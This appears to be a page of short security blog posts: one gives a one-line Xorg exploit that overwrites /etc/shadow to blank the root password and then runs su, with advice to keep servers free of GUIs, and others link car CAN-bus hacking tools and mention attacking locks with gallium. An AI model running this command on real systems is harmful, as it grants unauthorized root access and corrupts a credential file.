#!/zitstif.no-ip.org/

Example of exploit: cd /etc; Xorg -fp “root::16431:0:99999:7:::” -logfile shadow :1;su

This is just another reason why if you run a headless server, to not have Xorg or a GUI installed. Reduce the attack surface as much as you can.

This is pretty sad. LockPickingLawyer has plenty of good and informational videos to view on locks.

https://github.com/UnaPibaGeek/CBM

Some things to consider about this: ODB2 is pretty standard in most cars but each car manufacturer has their own subset of protocols,  (i.e. if you’re having car issues and use a basic scanner, the scanner won’t always be able to give you the right diagnostics information) but this is still very interesting.

Lastly, a potentially very useful website for car hackers mentioned in the presentation: http://opencandb.online/

Another interesting way of attacking a lock. Looks like you can get Gallium on amazon:

https://www.amazon.com/Gallium-Metal-99-99-Grams-Shipping/dp/B00F3IXF9M